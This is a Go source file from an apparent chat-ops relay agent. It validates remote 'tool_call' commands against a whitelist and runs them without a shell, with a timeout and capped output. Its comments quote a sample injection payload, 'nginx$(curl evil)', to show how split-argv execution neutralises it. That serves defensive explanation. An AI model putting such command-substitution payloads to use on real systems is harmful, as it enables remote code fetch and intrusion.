coreci-chat/apps/relay-agent/wsclient/handler.go

// Package wsclient — tool_call message handler (Wave H, Phase 3, G-021).
//
// This file holds the `tool_call` message type + handler. It is a CLEAN
// EXTENSION of the M1 protocol: register/ping/pong continue to work; the
// reader goroutine (in client.go) was restructured to dispatch on the `type`
// field BEFORE unmarshaling into a specific struct (G-021) and routes
// `tool_call` messages to handleToolCall.
//
// Defense-in-depth (R-003, three enforcement layers):
//  1. Broker layer 1 (TS, `validateSshCommand`): the 6-command subset regex.
//  2. Relay Agent layer 2 (Go, `CheckCommand`, G-004 contract UNCHANGED):
//     the M1 whitelist (broader than layer 1 — correct defense-in-depth).
//  3. No-shell execution (this file): `exec.Command` with SPLIT ARGV — never
//     `sh -c "..."`. A command like `systemctl status nginx$(curl evil)`
//     runs `nginx$(curl evil)` as a LITERAL service name (no shell expansion),
//     so even if layers 1 and 2 both missed a shell-injection payload, the
//     third layer neutralizes it.
//
// Timeout split (R-003): the agent's exec.Command timeout is 9.5s so the
// agent returns a timeout result BEFORE the broker's 10s timeout fires → the
// SSE stream closes cleanly (the broker doesn't give up first).
package wsclient

import (
	"context"
	"encoding/json"
	"fmt"
	"log"
	"os/exec"
	"strings"
	"time"

	"github.com/coreci/relay-agent/whitelist"
)

// agentExecTimeout is the exec.Command context timeout. 9.5s so the agent
// returns a timeout result 0.5s before the broker's 10s timeout fires
// (R-003 — agent times out first → SSE stream closes cleanly).
const agentExecTimeout = 9500 * time.Millisecond

// toolCallMessage is the server→agent tool invocation (R-003 §4).
//
// { "type": "tool_call", "callId": "<ulid>", "command": "uptime",
//   "timeoutMs": 10000 }
type toolCallMessage struct {
	Type      string `json:"type"`      // "tool_call"
	CallID    string `json:"callId"`    // broker correlation id (ULID)
	Command   string `json:"command"`   // validated by broker layer 1 already
	TimeoutMs int    `json:"timeoutMs"` // informational; agent enforces its own 9.5s
}

// toolResultMessage is the agent→server response. Exactly one of
// {stdout+stderr+exitCode} (success) or {error+exitCode:-1} (rejection /
// timeout / exec failure).
//
// Success:  { "type":"tool_result", "callId", "stdout":"...", "stderr":"...", "exitCode":0 }
// Reject:   { "type":"tool_result", "callId", "error":"whitelist rejected: ...", "exitCode":-1 }
// Timeout:  { "type":"tool_result", "callId", "error":"timeout after 9.5s", "exitCode":-1 }
type toolResultMessage struct {
	Type     string `json:"type"`     // "tool_result"
	CallID   string `json:"callId"`   // echoes the tool_call's callId
	Stdout   string `json:"stdout"`   // success only
	Stderr   string `json:"stderr"`   // success only
	ExitCode int    `json:"exitCode"` // 0 success; -1 reject/timeout/failure
	Error    string `json:"error"`    // set on reject/timeout/failure (exitCode != 0)
}

// toolCallEnvelope is the raw JSON used for type-first dispatch (G-021). The
// reader goroutine unmarshals into this to read the `type` field, then
// unmarshals the raw bytes again into the specific struct.
type toolCallEnvelope struct {
	Type string `json:"type"`
}

// handleToolCall processes a `tool_call` message: layer-2 whitelist check,
// split-argv exec (no shell), 9.5s timeout, returns a `tool_result`.
//
// The whitelist (`w`) is injected by the reader goroutine (Client holds the
// loaded whitelist from main.go). If `w` is nil, the handler rejects every
// command (defense-in-depth — layer 2 cannot be bypassed by a missing
// whitelist file).
func (c *Client) handleToolCall(w *whitelist.Whitelist, raw json.RawMessage) {
	// Parse the typed message.
	var tc toolCallMessage
	if err := json.Unmarshal(raw, &tc); err != nil {
		log.Printf("tool_call: parse error: %v", err)
		return // malformed tool_call — drop (broker will time out)
	}
	if tc.CallID == "" {
		log.Printf("tool_call: missing callId — dropping")
		return
	}
	if tc.Command == "" {
		c.sendToolResult(tc.CallID, "", "", -1, "whitelist rejected: empty command")
		return
	}

	// Layer 2: Relay Agent CheckCommand (G-004 contract, UNCHANGED signature).
	// The M1 whitelist is BROADER than the broker's 6-command subset — correct
	// defense-in-depth: layer 2 is a backstop even if the broker is bypassed.
	if w == nil {
		c.sendToolResult(tc.CallID, "", "", -1, "whitelist rejected: agent whitelist not loaded")
		return
	}
	if err := w.CheckCommand(tc.Command); err != nil {
		// CheckCommand rejection — return a tool_result with exitCode -1.
		// The error message is safe to audit/log (no secret data, per G-004).
		c.sendToolResult(tc.CallID, "", "", -1, fmt.Sprintf("whitelist rejected: %s", err.Error()))
		return
	}

	// Layer 3: NO SHELL — split argv and exec.Command directly. This is the
	// third enforcement layer: even if a shell-injection payload slipped past
	// layers 1 and 2, exec.Command with split argv runs the injected tokens as
	// LITERAL arguments (no shell expansion). `systemctl status nginx$(curl
	// evil)` → exec.Command("systemctl", "status", "nginx$(curl evil)") —
	// systemctl receives `nginx$(curl evil)` as a literal service name.
	//
	// The command has ALREADY passed layer-2 CheckCommand (which uses the
	// whitelist package's quoting-aware tokenizer). Here we split on
	// whitespace — sufficient for the 6-command subset (no quotes in the
	// subset: uptime, df -h, free -m, systemctl status <svc>,
	// journalctl -n <N>, systemctl list-units --type=service).
	tokens := strings.Fields(tc.Command)
	if len(tokens) == 0 {
		c.sendToolResult(tc.CallID, "", "", -1, "whitelist rejected: empty command after tokenize")
		return
	}

	// 9.5s context timeout (R-003 — agent times out 0.5s before broker's 10s).
	ctx, cancel := context.WithTimeout(context.Background(), agentExecTimeout)
	defer cancel()

	cmd := exec.CommandContext(ctx, tokens[0], tokens[1:]...)
	// Limit capture size so a runaway command can't OOM the agent. 1 MiB per
	// stream is plenty for the 6-command subset (uptime, df, free, systemctl
	// status, journalctl -n, systemctl list-units).
	stdoutBuf := &limitWriter{max: 1 << 20}
	stderrBuf := &limitWriter{max: 1 << 20}
	cmd.Stdout = stdoutBuf
	cmd.Stderr = stderrBuf

	start := time.Now()
	err := cmd.Run()
	elapsed := time.Since(start)

	// Timeout (ctx deadline exceeded) — return a timeout tool_result.
	if ctx.Err() == context.DeadlineExceeded {
		c.sendToolResult(
			tc.CallID,
			stdoutBuf.String(),
			stderrBuf.String(),
			-1,
			fmt.Sprintf("timeout after %s", agentExecTimeout),
		)
		return
	}

	if err != nil {
		// Non-zero exit OR a setup failure. Distinguish: if ExitError, the
		// command ran and returned non-zero (still success-ish — surface
		// stdout/stderr + the real exit code). If not ExitError, it was a
		// setup failure (binary not found, etc.) → exitCode -1 + error.
		if exitErr, ok := err.(*exec.ExitError); ok {
			// ExitError.Stderr is the truncated stderr from the kernel; append
			// our captured stderr buffer for the full picture.
			combined := append([]byte{}, exitErr.Stderr...)
			combined = append(combined, stderrBuf.bytes()...)
			c.sendToolResult(
				tc.CallID,
				stdoutBuf.String(),
				string(combined),
				exitErr.ExitCode(),
				"",
			)
			return
		}
		c.sendToolResult(
			tc.CallID,
			stdoutBuf.String(),
			stderrBuf.String(),
			-1,
			fmt.Sprintf("exec error: %s", err.Error()),
		)
		return
	}

	// Success.
	_ = elapsed // (available for future metrics; not in the result shape)
	c.sendToolResult(
		tc.CallID,
		stdoutBuf.String(),
		stderrBuf.String(),
		0,
		"",
	)
}

// sendToolResult writes a tool_result message to the WebSocket. Safe to call
// from the reader goroutine. Best-effort — a write failure logs and the
// HeartbeatLoop's next read will surface the dead connection (→ reconnect).
func (c *Client) sendToolResult(callId, stdout, stderr string, exitCode int, errMsg string) {
	msg := toolResultMessage{
		Type:     "tool_result",
		CallID:   callId,
		Stdout:   stdout,
		Stderr:   stderr,
		ExitCode: exitCode,
	}
	if errMsg != "" {
		msg.Error = errMsg
	}
	if err := c.writeJSON(msg); err != nil {
		log.Printf("tool_call: write tool_result for %s failed: %v", callId, err)
	}
}

// limitWriter is a bytes.Buffer with a write cap so a runaway command can't
// exhaust the agent's memory. Writes beyond the cap are silently dropped
// (the broker sees a truncated stdout/stderr, not an OOM).
type limitWriter struct {
	buf  []byte
	max  int
	wrote int
}

func (lw *limitWriter) Write(p []byte) (int, error) {
	remaining := lw.max - lw.wrote
	if remaining <= 0 {
		// Drop the rest; report success so the command keeps running.
		return len(p), nil
	}
	if len(p) > remaining {
		lw.buf = append(lw.buf, p[:remaining]...)
		lw.wrote = lw.max
		return len(p), nil
	}
	lw.buf = append(lw.buf, p...)
	lw.wrote += len(p)
	return len(p), nil
}

// bytes returns the captured output (for ExitError.Stderr composition).
func (lw *limitWriter) bytes() []byte { return lw.buf }

// String returns the captured output as a string.
func (lw *limitWriter) String() string { return string(lw.buf) }

// dispatchType routes a raw message by its `type` field. Called by the reader
// goroutine in client.go (G-021 restructure). Returns true if the message was
// handled (pong or tool_call); false if the type is unknown (caller keeps the
// loop alive — unknown types are ignored for protocol extensibility).
//
// The `w` whitelist is passed by the Client for the tool_call handler; pong
// handling does not need it.
func (c *Client) dispatchType(w *whitelist.Whitelist, raw []byte) bool {
	var env toolCallEnvelope
	if err := json.Unmarshal(raw, &env); err != nil {
		// Not valid JSON — drop (M1 behavior: keep the loop alive).
		return false
	}
	switch env.Type {
	case "pong":
		// Existing heartbeat path: parse the full pong and signal pongArrived.
		var pm pongMessage
		if err := json.Unmarshal(raw, &pm); err != nil {
			return false
		}
		if pm.Type == "pong" {
			select {
			case c.pongArrived <- struct{}{}:
			default:
			}
		}
		return true
	case "tool_call":
		// New M2 path: route to the tool_call handler.
		c.handleToolCall(w, raw)
		return true
	default:
		// Unknown type — keep the loop alive (protocol extensibility). The
		// broker may add future message types; the agent ignores them until
		// a handler is added.
		log.Printf("reader: ignoring unknown message type %q (len=%d)", env.Type, len(raw))
		return false
	}
}

// stripQuote is intentionally NOT defined — the handler uses strings.Fields
// (post-validation split; the 6-command subset has no quotes).